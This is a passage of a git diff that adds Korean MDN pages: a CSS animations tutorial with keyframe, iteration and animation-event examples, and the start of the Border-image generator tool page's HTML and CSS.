+<p>시작 시점과 종료 시점 사이의 특정 시점에도 중간 상태를 지정할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<div class="note"><strong>노트:</strong> 다음 예제들은 애니메이션 CSS 속성에 접두어가 사용되지 않았습니다(역자: -webkit-, -moz- 등). 오래된 브라우저는 접두어가 필요합니다. </div>
+
+<h3 id="텍스트가_브라우저를_가로질러_움직이게_하기">텍스트가 브라우저를 가로질러 움직이게 하기</h3>
+
+<p>다음 단순한 예제에서 {{ HTMLElement("p") }} 엘리먼트가 브라우저 윈도우 오른쪽에서 왼쪽으로 가로질러 움직이는걸 볼 수 있습니다.</p>
+
+<pre class="brush: css">p {
+ animation-duration: 3s;
+ animation-name: slidein;
+}
+
+@keyframes slidein {
+ from {
+ margin-left: 100%;
+ width: 300%
+ }
+
+ to {
+ margin-left: 0%;
+ width: 100%;
+ }
+}
+</pre>
+
+<p>{{ HTMLElement("p") }} 엘리먼트에 지정한 CSS 규칙에서 {{ cssxref("animation-duration") }} 속성을 통해 애니메이션의 총 길이는 3초로 지정했습니다. 또 애니메이션의 중간 상태들을 {{ cssxref("@keyframes") }} 규칙을 사용하여 기술하고 이것들에게 slidein라는 이름을 붙였습니다.  그리고 p 엘리먼트에 slidein이라는 애니메이션을 지정했습니다.</p>
+
+<p>CSS 애니메이션을 지원하지 않는 브라우저를 위하여 {{ HTMLElement("p") }} 에 특정 스타일을 지정하고 싶다면 그러셔도 됩니다. 여기서도 그렇게 할 수 있으나 이 예제에서는 애니메이션 효과만을 보기위해 지정하지 않았습니다. </p>
+
+<p>애니메이션의 중간 상태는 {{ cssxref("@keyframes") }} 규칙을 이용하여 기술합니다. 이 경우에서는 두개의 중간 상태를 기술했습니다. 첫 번째 중간 상태는 애니메이션이 시작되고 나서 0% 시점에 (<code>from</code><span style="font-family: courier new,andale mono,monospace;">키워드를 사용해도 됩니다) 왼쪽 마진을 100%로 지정하는 것입니다. 왼쪽 마진을 100%로 지정했으므로 애니메이션이 시작된 시점에 브라우저 윈도우 오른쪽 모서리에 엘리먼트가 그려집니다.</span></p>
+
+<p>두번째 중간 상태는 애니메이션이 시작되고나서 100% (<span style="font-family: courier new,andale mono,monospace;">to키워드를 사용해도 됩니다)시점에 왼쪽 마진을 0%으로 지정하는 것입니다. 따라서 애니메이션 마지막에는 엘리먼트가 브라우저 윈도우의 왼쪽 모서리에 그려집니다.</span></p>
+
+
+<pre class="brush: html">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("텍스트가_브라우저를_가로질러_움직이게_하기","100%","250")}}</p>
+
+<h3 id="중간_상태_추가하기">중간 상태 추가하기</h3>
+
+<p>이전 예제의 애니메이션에서 중간 상태를 추가해 봅시다. 왼쪽에서 오른쪽으로 엘리먼트가 움직일 때 글자 크기가 커지다가 다시 원래대로 줄어들게 해봅시다. 다음과 같은 중간 상태를 추가하면 됩니다.</p>
+
+<pre class="brush: css">75% {
+ font-size: 300%;
+ margin-left: 25%;
+ width: 150%;
+}
+</pre>
+<pre class="brush: css hidden">p {
+ animation-duration: 3s;
+ animation-name: slidein;
+}
+
+@keyframes slidein {
+ from {
+ margin-left: 100%;
+ width: 300%;
+ }
+
+ to {
+ margin-left: 0%;
+ width: 100%;
+ }
+}
+</pre>
+
+<pre class="brush: html hidden">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>애니메이션의 75% 시점에서 엘리먼트의 왼쪽 마진을 25%, 너비를 150%, 글자 크기를 300%로 지정하라는 의미입니다.</p>
+
+<p>{{EmbedLiveSample("중간_상태_추가하기","100%","250")}}</p>
+
+<h3 id="애니메이션_반복하기">애니메이션 반복하기</h3>
+
+<p>애니메이션을 반복하고 싶다면 {{ cssxref("animation-iteration-count") }} 속성을 사용하면 됩니다. 이 속성으로 애니메이션이 몇 번 반복될지 지정할 수 있습니다. 이 예제에서는 <code>infinite</code> 라는 값을 지정하여 무한히 반복되게 해 봅시다.</p>
+
+<pre class="brush: css">p {
+ animation-duration: 3s;
+ animation-name: slidein;
+ animation-iteration-count: infinite;
+}
+</pre>
+
+<pre class="brush: css hidden">@keyframes slidein {
+ from {
+ margin-left: 100%;
+ width: 300%;
+ }
+
+ to {
+ margin-left: 0%;
+ width: 100%;
+ }
+}
+</pre>
+
+<pre class="brush: html hidden">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("애니메이션_반복하기","100%","250")}}</p>
+
+<h3 id="앞뒤로_움직이기">앞뒤로 움직이기</h3>
+
+<p>앞에서 애니메이션이 반복되는걸 보셨을 겁니다. 그런데 애니메이션이 끝나고 갑자기 오른쪽 모서리로 돌아가는게 어색합니다. 애니메이션이 끝났을 때 반대방향으로 이동하도록 만들어 봅시다. {{ cssxref("animation-direction") }} 속성을 <code>alternate</code>로 지정하면 됩니다.</p>
+
+<pre class="brush: css">p {
+ animation-duration: 3s;
+ animation-name: slidein;
+ animation-iteration-count: infinite;
+ animation-direction: alternate;
+}
+</pre>
+
+<pre class="brush: css hidden">@keyframes slidein {
+ from {
+ margin-left: 100%;
+ width: 300%;
+ }
+
+ to {
+ margin-left: 0%;
+ width: 100%;
+ }
+}
+</pre>
+
+<pre class="brush: html hidden">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("앞뒤로_움직이기","100%","250")}}</p>
+
+<h3 id="애니메이션_이벤트_사용하기">애니메이션 이벤트 사용하기</h3>
+
+<p>애니메이션 이벤트를 이용하여 애니메이션을 조종할 수 있습니다. {{ domxref("event/AnimationEvent", "AnimationEvent") }} 로 나타내어지는 애니메이션 이벤트를 사용하여 애니메이션의 시작, 끝, 새로운 반복의 시작등을 감지할 수 있습니다. 이벤트가 발생할 때마다 이벤트의 종류와 어떤 애니메이션에서 발생한 것인지 알 수도 있습니다.</p>
+
+<p>위의 움직이는 글자 예제를 수정하여 애니메이션 이벤트를 어떻게 사용하는지 알아봅시다. </p>
+
+<pre class="brush: css">.slidein {
+ -moz-animation-duration: 3s;
+ -webkit-animation-duration: 3s;
+ animation-duration: 3s;
+ -moz-animation-name: slidein;
+ -webkit-animation-name: slidein;
+ animation-name: slidein;
+ -moz-animation-iteration-count: 3;
+ -webkit-animation-iteration-count: 3;
+ animation-iteration-count: 3;
+ -moz-animation-direction: alternate;
+ -webkit-animation-direction: alternate;
+ animation-direction: alternate;
+}
+
+@-moz-keyframes slidein {
+ from {
+ margin-left:100%;
+ width:300%
+ }
+
+ to {
+ margin-left:0%;
+ width:100%;
+ }
+}
+
+@-webkit-keyframes slidein {
+ from {
+ margin-left:100%;
+ width:300%
+ }
+
+ to {
+ margin-left:0%;
+ width:100%;
+ }
+}
+
+@keyframes slidein {
+ from {
+ margin-left:100%;
+ width:300%
+ }
+
+ to {
+ margin-left:0%;
+ width:100%;
+ }
+}</pre>
+<h4 id="애니메이션_이벤트_리스너_추가하기">애니메이션 이벤트 리스너 추가하기</h4>
+
+<p>자바스크립트 코드를 사용하여 위에서 언급한 세개의 이벤트를 감지해 봅시다. <code>setup()</code> 함수는 애니메이션 이벤트 리스너를 추가하는 함수입니다. 문서가 로드되었을 때 이 함수를 실행할 것입니다.</p>
+
+<pre class="brush: js">function setup() {
+ var e = document.getElementById("watchme");
+ e.addEventListener("animationstart", listener, false);
+ e.addEventListener("animationend", listener, false);
+ e.addEventListener("animationiteration", listener, false);
+
+ var e = document.getElementById("watchme");
+ e.className = "slidein";
+}
+</pre>
+
+<p>어떻게 동작하는지 더 자세히 알고싶으면 {{ domxref("element.addEventListener()") }} 문서를 참고하세요. setup() 함수의 마지막 줄에서 엘리먼트의 <code>class</code> 를 "slidein"으로 지정하는 순간 애니메이션이 시작됩니다.</p>
+
+<p>왜 이렇게 했을까요? 왜냐하면 <code>animationstart</code> 이벤트는 애니메이션이 시작되자마자 발생하므로 우리 코드에서는 이를 감지할 수 없습니다. 애니메이션이 시작될 때는 위의 코드가 실행되기 전이라 이벤트 리스너가 아직 추가되지 않았기 때문이지요. 따라서 이벤트 리스너를 먼저 추가하고 엘리먼트에 class를 지정하여 애니메이션을 시작했습니다.</p>
+
+<h4 id="이벤트_받기">이벤트 받기</h4>
+
+<p>각 이벤트가 발생할 때마다 <code>listener()</code> 함수로 넘겨집니다. 이 함수의 코드는 아래와 같습니다.</p>
+
+<pre class="brush: js">function listener(e) {
+ var l = document.createElement("li");
+ switch(e.type) {
+ case "animationstart":
+ l.innerHTML = "Started: elapsed time is " + e.elapsedTime;
+ break;
+ case "animationend":
+ l.innerHTML = "Ended: elapsed time is " + e.elapsedTime;
+ break;
+ case "animationiteration":
+ l.innerHTML = "New loop started at time " + e.elapsedTime;
+ break;
+ }
+ document.getElementById("output").appendChild(l);
+}
+</pre>
+
+<p>이 코드 역시 굉장히 단순합니다. {{ domxref("event.type") }} 을 보고 어떤 이벤트가 발생했는지 확인합니다. 그리고 {{ HTMLElement("ul") }} (순서 없는 리스트)에 그 이벤트의 로그를 나타내는 엘리먼트를 추가합니다.</p>
+
+<p>결과는 다음과 같습니다.</p>
+
+<ul>
+ <li>Started: elapsed time is 0</li>
+ <li>New loop started at time 3.01200008392334</li>
+ <li>New loop started at time 6.00600004196167</li>
+ <li>Ended: elapsed time is 9.234000205993652</li>
+</ul>
+
+<p>이벤트가 발생한 시각이 위에서 지정한 애니메이션 시간과 굉장히 가깝지만 정확히 같지는 않다는걸 기억하세요. 또 애니메이션의 반복이 끝나는 순간에는  <code>animationiteration</code> 이벤트가 발생하지 않고 <code>animationend</code> 이벤트가 발생했다는걸 기억하세요.</p>
+
+<h4 id="HTML_코드">HTML 코드 </h4>
+
+<p>완벽을 위해 예제에서 사용한 HTML 코드도 첨부합니다. 여기에는 페이지 내용뿐만 아니라 이벤트 로깅을 위한 ul 엘리먼트도 있습니다. </p>
+
+<pre class="brush: html">&lt;body onload="setup()"&gt;
+ &lt;h1 id="watchme"&gt;Watch me move&lt;/h1&gt;
+ &lt;p&gt;This example shows how to use CSS animations to make &lt;code&gt;h1&lt;/code&gt; elements
+ move across the page.&lt;/p&gt;
+ &lt;p&gt;In addition, we output some text each time an animation event fires, so you can see them in action.&lt;/p&gt;
+ &lt;ul id="output"&gt;
+ &lt;/ul&gt;
+&lt;/body&gt;
+</pre>
+
+<p>{{EmbedLiveSample('애니메이션_이벤트_사용하기', '600', '300')}}</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{ domxref("AnimationEvent", "AnimationEvent") }}</li>
+ <li><a href="/en-US/docs/CSS/CSS_animations/Detecting_CSS_animation_support" title="en/CSS/CSS animations/Detecting CSS animation support">Detecting CSS animation support</a></li>
+</ul>
diff --git a/files/ko/web/css/css_background_and_borders/border-image_generator/index.html b/files/ko/web/css/css_background_and_borders/border-image_generator/index.html
new file mode 100644
index 0000000000..01ae23c400
--- /dev/null
+++ b/files/ko/web/css/css_background_and_borders/border-image_generator/index.html
@@ -0,0 +1,2627 @@
+---
+title: Border-image 생성기
+slug: Web/CSS/CSS_Background_and_Borders/Border-image_generator
+tags:
+ - CSS
+ - CSS Borders
+ - Tools
+translation_of: Web/CSS/CSS_Background_and_Borders/Border-image_generator
+---
+<p>이 도구를 사용해 CSS3 {{cssxref("border-image")}} 값을 생성할 수 있습니다.</p>
+
+<div style="display: none;">
+<h2 id="Border_Image_Generator" name="Border_Image_Generator">Border Image Generator</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">    &lt;div id="container"&gt;
+
+        &lt;div id="gallery"&gt;
+            &lt;div id="image-gallery"&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6007/border-image-1.png" data-stateID="border1"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6009/border-image-2.png" data-stateID="border2"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6011/border-image-3.png" data-stateID="border3"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6013/border-image-4.png" data-stateID="border4"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6015/border-image-5.png" data-stateID="border5"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6017/border-image-6.svg" data-stateID="border6"/&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="load-actions" class="group section"&gt;
+            &lt;div id="toggle-gallery" data-action="hide"&gt; &lt;/div&gt;
+            &lt;div id="load-image" class="button"&gt; Upload image &lt;/div&gt;
+            &lt;input id="remote-url" type="text" placeholder="Load an image from URL"/&gt;
+            &lt;div id="load-remote" class="button"&gt; &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="general-controls" class="group section"&gt;
+            &lt;div class="name"&gt; Control Box &lt;/div&gt;
+            &lt;div class="separator"&gt;&lt;/div&gt;
+            &lt;div class="property"&gt;
+                &lt;div class="name"&gt;scale&lt;/div&gt;
+                &lt;div class="ui-input-slider" data-topic="scale"
+                    data-unit="%" data-max="300" data-sensivity="10"&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+            &lt;div class="separator"&gt;&lt;/div&gt;
+            &lt;div class="property"&gt;
+                &lt;div class="name"&gt;draggable&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='drag-subject'&gt;&lt;/div&gt;
+            &lt;/div&gt;
+            &lt;div class="property right"&gt;
+                &lt;div class="name"&gt;section height&lt;/div&gt;
+                &lt;div class="ui-input-slider" data-topic="preview-area-height"
+                    data-min="400" data-max="1000"&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="preview_section" class="group section"&gt;
+            &lt;div id="subject"&gt;
+                &lt;div class="guideline" data-axis="Y" data-topic="slice-top"&gt;&lt;/div&gt;
+                &lt;div class="guideline" data-axis="X" data-topic="slice-right"&gt;&lt;/div&gt;
+                &lt;div class="guideline" data-axis="Y" data-topic="slice-bottom"&gt;&lt;/div&gt;
+                &lt;div class="guideline" data-axis="X" data-topic="slice-left"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+            &lt;div id="preview"&gt; &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;!-- controls --&gt;
+        &lt;div id="controls" class="group section"&gt;
+
+            &lt;!-- border-image-slice --&gt;
+            &lt;div id="border-slice-control" class="category"&gt;
+                &lt;div class="title"&gt; border-image-slice &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="name"&gt;fill&lt;/div&gt;
+                    &lt;div class="ui-checkbox" data-topic='slice-fill'&gt;&lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;!-- border-image-width --&gt;
+            &lt;div id="border-width-control" class="category"&gt;
+                &lt;div class="title"&gt; border-image-width &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;!-- border-image-outset --&gt;
+            &lt;div id="border-outset-control" class="category"&gt;
+                &lt;div class="title"&gt; border-image-outset &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;!-- other-settings --&gt;
+            &lt;div id="aditional-properties" class="category"&gt;
+                &lt;div class="title"&gt; aditional-properties &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="name"&gt; repeat-x &lt;/div&gt;
+                    &lt;div class="ui-dropdown border-repeat" data-topic="image-repeat-X" data-selected="2"&gt;
+                        &lt;div data-value="0"&gt;repeat&lt;/div&gt;
+                        &lt;div data-value="0"&gt;stretch&lt;/div&gt;
+                        &lt;div data-value="0"&gt;round&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="name"&gt; repeat-y &lt;/div&gt;
+                    &lt;div class="ui-dropdown border-repeat" data-topic="image-repeat-Y" data-selected="2"&gt;
+                        &lt;div data-value="1"&gt;repeat&lt;/div&gt;
+                        &lt;div data-value="1"&gt;stretch&lt;/div&gt;
+                        &lt;div data-value="1"&gt;round&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="ui-input-slider" data-topic="font-size" data-info="em size"
+                        data-unit="px" data-value="12" data-sensivity="3"&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+
+                &lt;div class="property"&gt;
+                    &lt;div class="ui-input-slider" data-topic="preview-width" data-info="width"
+                         data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"&gt;&lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="ui-input-slider" data-topic="preview-height" data-info="height"
+                        data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+
+            &lt;div id="output" class="category"&gt;
+                &lt;div class="title"&gt; CSS Code &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-slice: &lt;/span&gt;
+                    &lt;span id="out-border-slice" class="value"&gt; &lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-width: &lt;/span&gt;
+                    &lt;span id="out-border-width" class="value"&gt; &lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-outset: &lt;/span&gt;
+                    &lt;span id="out-border-outset" class="value"&gt; &lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-repeat: &lt;/span&gt;
+                    &lt;span id="out-border-repeat" class="value"&gt; &lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-source: &lt;/span&gt;
+                    &lt;span id="out-border-source" class="value"&gt;  &lt;/span&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+        &lt;/div&gt;
+    &lt;/div&gt;</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">/* GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+ width: 100%;
+}
+
+.span_11 {
+ width: 91.46%;
+}
+
+.span_10 {
+ width: 83%;
+}
+
+.span_9 {
+ width: 74.54%;
+}
+
+.span_8 {
+ width: 66.08%;
+}
+
+.span_7 {
+ width: 57.62%;
+}
+
+.span_6 {
+ width: 49.16%;
+}
+
+.span_5 {
+ width: 40.7%;
+}
+
+.span_4 {
+ width: 32.24%;
+}
+
+.span_3 {
+ width: 23.78%;
+}
+
+.span_2 {
+ width: 15.32%;
+}
+
+.span_1 {
+ width: 6.86%;
+}
+
+
+/* SECTIONS
+ * ========================================================================== */
+
+.section {
+ clear: both;
+ padding: 0px;
+ margin: 0px;
+}
+
+/* GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+ content: "";
+ display: table;
+}
+
+.group:after {
+ clear:both;
+}
+
+.group {
+ zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/* GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+ display: block;
+ float:left;
+ margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+ margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+ height: 20px;
+ font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+ -moz-user-select: none;
+ user-select: none;
+}
+
+.ui-input-slider * {
+ float: left;
+ height: 100%;
+ line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider &gt; input {
+ margin: 0;
+ padding: 0;
+ width: 50px;
+ text-align: center;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+ width: 90px;
+ padding: 0px 10px 0px 0px;
+ text-align: right;
+ text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+ width: 16px;
+ cursor: pointer;
+ background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+ background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+ width: 90px;
+ padding: 0 10px 0 0;
+ text-align: right;
+ text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+ width: 25px;
+ background-color: #2C9FC9;
+ border-radius: 5px;
+ color: #FFF;
+ font-weight: bold;
+ line-height: 14px;
+ text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+ background-color: #379B4A;
+ cursor: pointer;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI DropDown
+ */
+
+/* Dropdown */
+
+.ui-dropdown {
+ height: 2em;
+ width: 120px;
+ font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+ font-size: 12px;
+
+ background-image: url("https://mdn.mozillademos.org/files/6037/drop_arrow_icon.png");
+ background-position: right center;
+ background-repeat: no-repeat;
+ background-color: #359740;
+
+ position: relative;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+
+ -moz-user-select: none;
+ -webkit-user-select: none;
+ -ms-user-select: none;
+ user-select: none;
+}
+
+.ui-dropdown:hover {
+ cursor: pointer;
+ background-color: #208B20;
+}
+
+/* Dropdown Select Button */
+
+.ui-dropdown-select {
+ height: inherit;
+ padding: 0 0.75em;
+ color: #FFF;
+ line-height: 2em;
+}
+
+/* Dropdown List */
+
+.ui-dropdown-list {
+ width: 100%;
+ height: 150px;
+ max-height: 150px;
+ margin: 0;
+ padding: 0 0.3em;
+
+ border: 3px solid #3490D2;
+ border-color: #208B20;
+ background: #666;
+ background-color: #EEF1F5;
+ color: #000;
+
+ position: absolute;
+ top: 2em;
+ left: 0;
+ z-index: 100;
+
+ overflow: hidden;
+ transition: all 0.3s;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+.ui-dropdown-list:hover {
+ overflow: auto;
+}
+
+.ui-dropdown-list[data-hidden='true'] {
+ height: 0 !important;
+ opacity: 0;
+ visibility: hidden;
+}
+
+.ui-dropdown[data-position='left'] .ui-dropdown-list {
+ left: -100%;
+ top: 0;
+}
+
+.ui-dropdown[data-position='right'] .ui-dropdown-list {
+ left: 100%;
+ top: 0;
+}
+
+.ui-dropdown-list &gt; div {
+ width: 100%;
+ height: 1.6em;
+ margin: 0.3em 0;
+ padding: 0.3em;
+ line-height: 1em;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+.ui-dropdown-list &gt; div:hover {
+ background: #3490D2;
+ color:#FFF;
+ border-radius: 2px;
+ cursor: pointer;
+}
+
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+ text-align: center;
+ font-size: 16px;
+ font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+ line-height: 1.5em;
+ color: #FFF;
+
+ -moz-user-select: none;
+ -webkit-user-select: none;
+ -ms-user-select: none;
+ user-select: none;
+}
+
+.ui-checkbox &gt; input {
+ display: none;
+}
+
+.ui-checkbox &gt; label {
+ font-size: 12px;
+ padding: 0.333em 1.666em 0.5em;
+ height: 1em;
+ line-height: 1em;
+
+ background-color: #888;
+ background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+ background-position: center center;
+ background-repeat: no-repeat;
+
+ color: #FFF;
+ border-radius: 2px;
+ font-weight: bold;
+ float: left;
+}
+
+.ui-checkbox .text {
+ padding-left: 34px;
+ background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+ padding-right: 34px;
+ padding-left: 1.666em;
+ background-position: center right 10px;
+}
+
+.ui-checkbox &gt; label:hover {
+ cursor: pointer;
+}
+
+.ui-checkbox &gt; input:checked + label {
+ background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+ background-color: #379B4A;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * BORDER IMAGE GENERATOR TOOL
+ */
+
+body {
+ width: 100%;
+ margin: 0 auto;
+ padding: 0 0 20px 0;
+
+ font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+ /*background: url("https://mdn.mozillademos.org/files/6025/grain.png");*/
+ border: 1px solid #EEE;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+
+ -moz-user-select: none;
+ -webkit-user-select: none;
+ -ms-user-select: none;
+ user-select: none;
+}
+
+body[data-move='X'] {
+ cursor: w-resize !important;
+}
+
+body[data-move='Y'] {
+ cursor: s-resize !important;
+}
+
+#container {
+ width: 100%;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+[data-draggable='true']:hover {
+ cursor: move;
+}
+
+[data-draggable='true']:hover &gt; * {
+ cursor: default;
+}
+
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/*
+ * Border Image Picker
+ */
+
+#gallery {
+ box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#image-gallery {
+ width: 600px;
+ height: 100px;
+ margin: 0 auto;
+ transition: margin 0.4s;
+}
+
+#image-gallery .image {
+ height: 80px;
+ float: left;
+ margin: 10px;
+ opacity: 0.5;
+ background-color: #FFF;
+ box-shadow: 0px 0px 3px 1px #BABABA;
+}
+
+#image-gallery .image[selected="true"] {
+ box-shadow: 0px 0px 3px 1px #3BBA52;
+ opacity: 1;
+}
+
+#image-gallery .image:hover {
+ cursor: pointer;
+ box-shadow: 0px 0px 3px 1px #30ACE5;
+ opacity: 1;
+}
+
+#image-gallery[data-collapsed='true'] {
+ margin-top: -100px;
+}
+
+/* Load Menu */
+
+#load-actions {
+ margin: 10px 0;
+}
+
+#toggle-gallery {
+ width: 30px;
+ height: 25px;
+ margin: 10px;
+ color: #FFF;
+
+ background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+ background-repeat: no-repeat;
+ background-position: top 4px center;
+ background-color: #888888 !important;
+
+ border-radius: 2px;
+ float: left;
+}
+
+#toggle-gallery:hover {
+ cursor: pointer;
+}
+
+#toggle-gallery[data-action='show'] {
+ background-image: url('https://mdn.mozillademos.org/files/6001/arrow-down-white.png');
+ background-color: #888888 !important;
+}
+
+#toggle-gallery[data-action='hide'] {
+ background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+}
+
+.button {
+ width: 100px;
+ height: 25px;
+ margin: 10px;
+ color: #FFF;
+ text-align: center;
+ font-size: 12px;
+ line-height: 25px;
+ background-color: #379B4A;
+ border-radius: 2px;
+ float: left;
+}
+
+.button:hover {
+ cursor: pointer;
+ background-color: #3380C4;
+}
+
+#load-image {
+ float: left;
+}
+
+#load-remote {
+ width: 30px;
+ background-image: url('https://mdn.mozillademos.org/files/6003/arrow-right-white.png');
+ background-repeat: no-repeat;
+ background-position: center center;
+}
+
+#remote-url {
+ width: 200px;
+ height: 23px;
+ margin: 10px;
+ padding: 0 5px;
+ border: 1px solid #379B4A;
+ border-radius: 2px;
+ float: left;
+
+ transition: width 0.5s;
+}
+
+#remote-url:focus {
+ box-shadow: 0px 0px 3px -1px #379B4A; /*#68ACE8; */
+ border-color: rgba(55, 155, 74, 0.5);
+ width: 450px;
+}
+
+/*
+ * Visible Area
+ */
+
+#preview_section {
+ position: relative;
+ min-height: 400px;
+}
+
+/* Image Control */
+
+#subject {
+ width: 300px;
+ height: 300px;
+ background-repeat: no-repeat;
+ background-size: 100%;
+ background-color: #FFF;
+ border: 1px solid #CCC;
+
+ position: absolute;
+ z-index: 10;
+ top: 15%;
+ left: 10%;
+
+ box-shadow: 0 0 3px 0 #BABABA;
+ transition-property: width, height;
+ transition-duration: 0.1s;
+}
+
+#subject .guideline {
+ background-color: rgba(255, 255, 255, 0.7);
+ border: 1px solid rgba(0, 0, 0, 0.3);
+ position: absolute;
+}
+
+#subject .guideline:hover {
+ background-color: #F00;
+}
+
+#subject .guideline[data-active] {
+ background-color: #F00;
+ z-index: 10;
+}
+
+#subject .guideline[data-axis='X'] {
+ width: 1px;
+ height: 100%;
+ top: -1px;
+}
+
+#subject .guideline[data-axis='Y'] {
+ width: 100%;
+ height: 1px;
+ left: -1px;
+}
+
+#subject .guideline[data-axis='X']:hover {
+ cursor: w-resize;
+}
+
+#subject .guideline[data-axis='Y']:hover {
+ cursor: s-resize;
+}
+
+
+#subject .relative {
+ position: relative;
+ font-size: 12px;
+}
+
+#subject .tooltip, #subject .tooltip2 {
+ width: 40px;
+ height: 20px;
+ line-height: 20px;
+ font-size: 12px;
+ text-align: center;
+
+ position: absolute;
+ opacity: 0.5;
+ transition: opacity 0.25s;
+}
+
+#subject .tooltip {
+ background: #EEE;
+ border-radius: 2px;
+ border: 1px solid #CCC;
+}
+
+#subject .tooltip2{
+ color: #555;
+}
+
+#subject [data-active] &gt; * {
+ opacity: 1;
+}
+
+#subject .tooltip[data-info='top'] {
+ top: -10px;
+ right: -50px;
+}
+
+#subject .tooltip[data-info='right'] {
+ bottom: -30px;
+ right: -20px;
+}
+
+#subject .tooltip[data-info='bottom'] {
+ top: -10px;
+ left: -50px;
+}
+
+#subject .tooltip[data-info='left'] {
+ top: -30px;
